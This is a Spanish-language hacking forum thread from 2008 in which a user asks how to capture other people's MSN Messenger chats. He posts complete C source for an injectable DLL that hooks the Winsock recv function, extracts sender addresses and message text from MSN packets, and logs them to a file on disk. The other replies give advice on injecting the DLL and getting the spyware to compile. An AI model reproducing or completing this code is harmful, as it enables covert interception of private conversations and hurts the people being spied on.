elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.
 
Inicio Ayuda Ingresar Registrarse
28 Agosto 2008, 17:54  



+  Foro de elhacker.net
|-+  Programación
| |-+  Programación C/C++ (Moderador: ®®)
| | |-+  [+]Hookear winsock
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Imprimir
Autor Tema: [+]Hookear winsock  (Leído 607 veces)
RED_HORSE

Desconectado Desconectado

Mensajes: 95



Ver Perfil
[+]Hookear winsock
« en: 26 Febrero 2008, 07:01 »

 Ustube viendo en diferentes lados como poder capturar las conversaciones del msn y la forma mas efectiva que me comentaron es hookeando la api del winsock alguin me podria hechar una mano.

  Lo que yo mas o menos entiendo es que nesesitamos de un inyector de dll lo cual ya lo he conseguido en diferentes lenguajes.

http://invisiblehack.mforos.com/1109918/6469158-source-inyeccion-dll-by-hendrix/

http://foro.elhacker.net/index.php/topic,169870.0.html

http://foro.elhacker.net/index.php/topic,168272.0.html y esta que es la que voy a ocupar


 Existe algun coder de una dll para poder interceptar los datos del winsock???
En línea

E0N
Lab &
Colaborador

Conectado Conectado

Mensajes: 2.591


Por variar un poco de avatar.. :P


Ver Perfil WWW
Re: [+]Hookear winsock
« Respuesta #1 en: 26 Febrero 2008, 15:18 »

Citar
Existe algun coder de una dll para poder interceptar los datos del winsock???

Haztelo tu, no seas vago xD
http://foro.elhacker.net/index.php/topic,196251.0.html

El tuto de hacer rootkits te vale para lo q kierse hacer, solo q en vez de enganchar FindNextFile enganchas las apis q necesites para lo q kieras. (aparte tb hay mucha info por internet)

Tb creo recordar q MazarD liberó la misma libreria que usó para su Msn Nightmare q hace lo q tu kieres hacer...

salu2
En línea
RED_HORSE

Desconectado Desconectado

Mensajes: 95



Ver Perfil
Re: [+]Hookear winsock
« Respuesta #2 en: 27 Febrero 2008, 04:43 »

 Aca encontre un buen coder de como hacer una dll par captar los datos del winsock. Lu unico es que no logro compilar :-( AYUDA EON :-(
 Alguien me lo puede pasar ya compilado



//Interceptación de apis by MazarD (API HOOKING)
//Hook a WINSOCK
//www.mazard.info
#include <windows.h>
#include <stdio.h>

//Puntero al buffer donde guardaremos las instrucciones copiadas de la api y
//el salto a la api+5
BYTE *Buffer;


struct infoConverses
{
SOCKET sckMSN;
char correu[5000];
}msnFuckit[20];

struct paquetes
{
SOCKET s;
char *buf;
int len;
int flags;
}paquete;


int cntscks=-1;

//Ésta es la dll donde reside la api Recv y Send
char Libreria[]="WSOCK32.dll";


char LogMsn[MAX_PATH]="c:\\logmsn.txt";

//El api en qüestión
char NomApi[]="recv";


//Variable Booleana Flag
bool blockrec=false;

//Funcion a la que llamará el programa principal creiendo que es la api original
int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags);


void Hookear(void);

void Filtrar(void);

//Puntero a función, utilizando este puntero conseguiremos ejecutar el código contenido en el buffer
int (__stdcall *pBuff)(SOCKET s,char *buf,int len,int flags);

//La función de reemplazo explicada arriba

int WINAPI FuncioRep(SOCKET s,char *buf,int len,int flags)
{

int res;

res=pBuff(s,buf,len,flags);

paquete.s=s;
paquete.buf=buf;
paquete.len=len;
paquete.flags=flags;
Filtrar();




return (res);
}

void Hookear(void)
{
DWORD ProteVieja;
BYTE *DirApi;
BYTE *DirYo;
//Cojemos la dirección de memoria de la api
DirApi=(BYTE *) GetProcAddress(GetModuleHandle(Libreria),NomApi);


//Creamos 10bytes de memoria para nuestro Buffer
if ((Buffer=(BYTE *)malloc(10))==NULL) return;
if (VirtualProtect((void *) Buffer,12,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;


//Buffer=(BYTE *)malloc(10);

//Le damos todos los permisos a los 10 bytes de nuestro Buffer
//VirtualProtect((void *) Buffer, 12, PAGE_EXECUTE_READWRITE, &ProteVieja);

//copiamos los 5 primeros bytes originales de la api antes de machacarlos
memcpy(Buffer,DirApi,5);
Buffer+=5;
//En el sexto introducimos E9 que corresponde a jmp(salto
//incondicional) en código máquina para que salte a la api original
*Buffer=0xE9;
Buffer++;

//A partir del septimo metemos 4 bytes que determinan la distancia del salto
//desde el buffer hasta la Dirección de la api+5
*((signed int *) Buffer)=(DirApi+1)-Buffer;

//Asignamos al puntero a funcion pBuff el inicio del Buffer
pBuff = (int (__stdcall *)(SOCKET,char*,int,int)) (Buffer-6);

//Le damos todos los permisos a los 5 primeros bytes de la api original
//VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja);
if (VirtualProtect((void *) DirApi,5,PAGE_EXECUTE_READWRITE,&ProteVieja)==0) return;


//Cambiamos el tipo a puntero a byte para facilitar el trabajo
DirYo=(BYTE *) FuncioRep;
//En el inicio de la api metemos un salto incondicional hacia nuestro código
//E9=jmp
*DirApi=0xE9;
DirApi++;

//Los 4 siguientes bytes determinan la distancia del salto desde la api hasta
//la función de reemplazo en nuestro código, fijate que en este caso el
//resultado tiene que ser negativo, puesto que las apis corren en direcciones
//de memória mucho mas altas y el salto deberá ser "hacia atrás"
*((signed int *) DirApi)=DirYo-(DirApi+4);

//libermos las librerias de cache
FlushInstructionCache(GetCurrentProcess(),NULL,NULL);
}

void Filtrar(void)
{
FILE *Archivo;
char Escric[1024];
int payl;
char cIRO[1024];
char *Ini;
char *Ini2;
int trobat=0;

if ((Ini=strstr(paquete.buf,"IRO "))!=NULL && strstr(paquete.buf,"@")!=NULL)
{
trobat=0;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini=strchr(Ini,' ');
Ini++;
Ini2=strchr(Ini,' ');
*Ini2=0;
strcpy(cIRO,Ini);
*Ini2=' ';

for (int j=0;j<=cntscks;j++)
{
if (strcmp(cIRO,msnFuckit[j].correu)==0) trobat=j;
}
if (trobat==0)
{
cntscks++;
msnFuckit[cntscks].sckMSN=paquete.s;
strcpy(msnFuckit[cntscks].correu,cIRO);
}else msnFuckit[trobat].sckMSN=paquete.s;
}

if (paquete.buf!=NULL && strcmp(paquete.buf,"")!=0 && (Ini=strstr(paquete.buf,"MSG"))!=NULL && strstr(paquete.buf,"Content-Type: text/plain")!=NULL)
{
Ini=strchr(Ini,'@');
Ini2=Ini;
while (*Ini2!=' ') Ini2--;
Ini2++;
Ini=strchr(Ini2,' ');
*Ini=0;
strcpy(Escric,Ini2);
*Ini=' ';

Archivo=fopen(LogMsn,"a");
fputs("\r\n",Archivo);
fputs(Escric,Archivo);
fputs(" dice:",Archivo);

Ini2=strchr(Ini,'\r');
Ini=Ini2;
while (*Ini!=' ')Ini--;
Ini++;
*Ini2=0;
payl=atoi(Ini);
*Ini2='\r';
Ini2+=2;
for (int k=0;k<payl;k++) Escric[k]=Ini2[k];
Escric[payl]=0;
Ini2=strstr(Escric,"\r\n\r\n");
Ini2+=4;

fputs("\r\n",Archivo);
fputs(Ini2,Archivo);
fclose(Archivo);

//Archivo=fopen(LogMsn,"a");
//fputs(buf,Archivo);
//fclose(Archivo);


}


}


bool WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{


//si se ha entrado en Dllmain porque se acaba de cargar la librería hookeamos
if (fdwReason == DLL_PROCESS_ATTACH) {

Hookear();

}

return TRUE;
}




este es el error que me da:

Código:
--------------------Configuration: pueva2 - Win32 Debug--------------------
Build : warning : failed to (or don't know how to) build 'D:\Archivos de programa\Microsoft Visual Studio\MyProjects\pueva2\Debug\pueva2.pch'
Compiling...
pueva2.cpp
d:\archivos de programa\microsoft visual studio\myprojects\pueva2\pueva2.cpp(225) : fatal error C1010: unexpected end of file while looking for precompiled header directive
Error executing cl.exe.

pueva2.dll - 1 error(s), 1 warning(s)
« Última modificación: 27 Febrero 2008, 07:51 por RED_HORSE » En línea

E0N
Lab &
Colaborador

Conectado Conectado

Mensajes: 2.591


Por variar un poco de avatar.. :P


Ver Perfil WWW
Re: [+]Hookear winsock
« Respuesta #3 en: 27 Febrero 2008, 14:35 »

Man, aki no le hacemos el trabajo a nadie, tienes el code de la dll, te e puesto un tuto de como hoohkear cualkier api.. q mas kieres? q te la compilemos? por tu bien yo no aceptaria una dll de nadie compilada y la inyectaría...

Usa el modo release si no vas a debugear y mira bien q tipo de proyecto eliges en el VC :P
En línea
Eternal Idol N&P

Desconectado Desconectado

Mensajes: 1.274


Assembly (x86/x64), C/C++, Kernel Mode (WDM/WDF)


Ver Perfil WWW
Re: [+]Hookear winsock
« Respuesta #4 en: 27 Febrero 2008, 15:16 »

Desactiva las cabeceras precompiladas ... (precompiled headers).
En línea

be closely tied to
(v.) = estar estrechamente ligado a
Ex: He had been wrapped up in a new project that was closely tied to the company's new growth.

"La economia nunca ha sido libre: o la controla el Estado en beneficio del Pueblo o lo hacen los grandes consorcios en perjuicio de este"
Juan Domingo Peron
LixKeÜ

Desconectado Desconectado

Mensajes: 351


solo es lo que es y la verdad siempre da de ganar


Ver Perfil WWW
Re: [+]Hookear winsock
« Respuesta #5 en: 27 Febrero 2008, 15:26 »

 Muy bueno el coder se agradese ;D ;D ;D

 yo ya lo compile tienes que poner en win32 Release y no usar precompiled headers

 todo esto lo usas de proyecto----propiedades


salu2 sirlix

 
« Última modificación: 27 Febrero 2008, 15:31 por LixKeÜ » En línea

Páginas: [1] Ir Arriba Imprimir 
Ir a:  





Consolas     La Web de Goku     MilW0rm     MundoDivx

Hispabyte     Truzone     TodoReviews     ZonaPhotoshop

hard-h2o modding    Foros de ayuda    Yashira.org    Videojuegos    indetectables.net   

Noticias Informatica    Seguridad Informática    ADSL    Foros en español    eNYe Sec

Todas las webs afiliadas están libres de publicidad engañosa.

Powered by SMF 1.1.5 | SMF © 2006-2008, Simple Machines LLC